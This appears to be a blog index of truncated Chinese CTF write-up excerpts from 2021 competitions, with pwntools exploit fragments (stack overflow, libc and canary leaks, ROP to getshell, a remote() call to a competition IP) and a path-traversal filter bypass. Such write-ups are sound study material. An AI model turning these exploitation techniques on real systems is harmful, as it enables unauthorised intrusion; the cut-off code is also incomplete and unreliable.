2021 西湖论剑 Writeup
Pwnstring_goC艹栈溢出,输入 -1 泄露 libc 和 cannary ,ret 覆盖 onegadget getshell
整个过程就是硬调试,将全部的 cin cout 都搭上断点,观察输入目标地址以及输入前后目标地址的变化,程序有个输入缓冲器在堆上面,大小是 0x1000
EXP123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101from pwn import *import syslocal = 0binary = "./string_go"local_libc = "/lib/x86_64-linux-gnu/libc.so.6"ip = " ...
2021 湖湘杯 Writeup
tiny_httpdC语言实现的 httpd 服务,题目是基于框架改过来的,加了 url 的过滤。
漏洞在 URL 过滤不严格导致目录穿越,导致可以执行任意文件,且文件参数可控。
目录穿越123456789/* path filter */int len = strlen(path);for (i = 0, j = 0; j < len;) { if (path[j] == '.' && path[j + 1] == '.') { j++; } path[i++] = path[j++];}path[i++] = '\0';
当 i 等于 . ,且 i+1 也等于 . ,就记录 i+1 的 . ,双写即可绕过。
文件执行12345678910111213141516dup2(cgi_output[1], STDOUT); dup2(cgi_input[0], STDIN); close(cgi_output[0] ...
2021 广东省强网杯决赛 日记
决赛赛制分为上午的运维赛、下午的 AWDP 攻防赛。
运维赛早上的运维赛属于的广东省强网的固定环境了,今年与去年的有所区别。去年是 SSH 连上靶机,在靶机上寻找线索,类似于黑客攻击的用户名、IP、挖矿病毒的钱包地址等等,找到这些信息之后,去做选择填空题,选择正确答案。
今年是需要的在靶机上进行修复,比如有后门,就删除后门。漏洞共计 13 个,固定分值,分值从 100 到 400 不等。比较搞笑的是平台并不公布修复的漏洞名称或者信息提示,全部漏洞以漏洞 1、2、3 等代号代替,只提醒漏洞 1 被修复这样。更 ™ 夸张的是主办方说 100 分最低分的题目是最难的,全场 4 个组别都没有修复这个漏洞。
怎么算是修复漏洞和 check 也是一个迷,临近结束的半个小时已经是摆烂聊天,上完洗手间回来一刷新解题成功多了两题,中间没有任何操作……基本摸索出来的 check 机制:
漏洞检测会延迟几轮,且有可能平台是单个单个队伍运行 check ,这也就是为啥队伍得分进度怪怪的
漏洞修复完成之后,后续不会因为 check 不过而扣除成功分数,举个例子就是删除 web 后门得分后,删站都没问题。最后快 ...
2021 强网拟态 Writeup
sonic远程服务器上 /usr/bin/cli 是个 cat flag 程序,栈溢出劫持运行后面函数即可
EXP1234567891011121314151617181920from pwn import *context.arch = 'amd64'context.log_level='debug'#r=process('./sonic')r=remote('123.60.63.90','6889')#gdb.attach(r,"b *$rebase(0x7B4)")#raw_input()r.recvuntil(" Address=")addr=int(r.recv(15),16)print(hex(addr))base=addr-0x7cfprint(hex(base))payload='a'*0x28+p64(base+0x73A)r.sendline(payload)r.interactive()
pwnpwn预留 ...
2021 长安杯决赛 Writeup
决赛是早上 4 小时 awd ,下午 4 小时仿真环境渗透。
awd pwn 题目进入菜单的 xtea 加密确实头大,获取密码之后就是一个堆溢出。。。
这题也是 2021 xman 选拔赛的题目,题目名字都没有改一下。。。唯一改动是将密码换了一下,后悔当时没有复现这题了
程序里面的花指令,全部用 nop patch
123call $+5add [rsp+68h+var_68], 6retn
size 是 0x66 就可以溢出了:
最后需要用 realloc 调整一下栈帧才能 getshell
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687from pwn import *context.log_level = 'debug'def add(size): p.sendline(&q ...
去除花指令总结
7a774f3dda6372403a952e7f3528cea598e783778aaa5875fe272399af894fbb5c285aefc37f0dd4890700730878db3a12beb57ffa897696593a04d4acaa5ba329d11b4dd88bb0ec82ff00c7b59b4ccde8ff770e5c2f95e8cfa4ca180cecff6f3ccec6cb2cc1fb5612e4071fbeda7b0e5731c4eaa26d39cc5b8dd2ed3baa2991b0416063ef2cbbcc59ecc48d1fe7696bb0c79e49dcfbadeb2562204cc84b51839019c23a702debc4f4cfce36365454b64edbd9dd9f2a7571280511fd195ee3db05ccdfc651f934da1828ed84ffddcba5810866727e45ea443ed4e4358f1a682cb4c0a3330f28042c20bd4be832078ac549745e9280113c20d ...
2021 鹤城杯 Writeup
babyof1234567891011121314151617181920212223242526272829303132333435363738394041from pwn import*#r = remote("182.116.62.85",21613)r=process('./babyof')elf = ELF('./babyof')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')context(log_level='debug',os='linux',arch='amd64')pop_rdi_ret = 0x0400743main_addr = 0x040066Bpop_rsi_r15_ret = 0x0400741payload = b'a'*0x40 + b'b'*8payload += p64(pop_rdi_ret)payload ...
angr学习
angr 安装angr 需要使用到 z3、pyvex ,但使用的版本会与原本有去区别,所以推荐在 virtualenv 虚拟 python 环境中安装 angr
自定义 docker基于 debian 11 自定义制作的 docker 镜像,内含 aconda、jupyterlib、angr
123git clone --depth=1 [email protected]:skyedai910/anaconda_angr_docker.gitcd anaconda_angr_dockerdocker-compose up -d --build
端口映射:8888:8888
卷轴挂载:./volumes:/root
angr ctf用于训练 angr 的题目仓库:https://github.com/jakespringer/angr_ctf
00_angr_find简单加密程序,找到校验成功的内存地址之后用 angr 找到路径即可,输入值就是明文
123456789101112131415161718192021222324252627282930#encoding:utf-8impo ...
2021 天翼杯 Writeup
chaos绕过逆向之后,进入菜单就是经典题目。堆块最后存 size 和下一个堆地址,size 可以被覆盖之后会导致任意长度读写
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182from pwn import *from pwn import p64,u64,p32,u32,p8context.arch = 'amd64'context.log_level = 'debug'#context.terminal = ['tmux','sp','-h']# elf = ELF('./chall')# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')# ...
2021 长安杯(企业组) Writeup
ez_book没有禁用 stderr ,会申请一个缓存堆块堆块,里面记录有全部的输入输出的信息,也就包含随机数。利用栈溢出,从 book name 那低地址覆盖 random num 地址爆破
EXP12345678910111213141516171819202122232425262728293031from pwn import *#context.log_level = 'debug'def res(name,pwd): p.sendlineafter(">\n",str(2)) p.sendlineafter(":",pwd) p.sendlineafter(":",name)#p = process("./main")def exp(): res("admin".ljust(0x10,'\x00')+'\x90\x74',"b") p.sendlineafter(">\n&q ...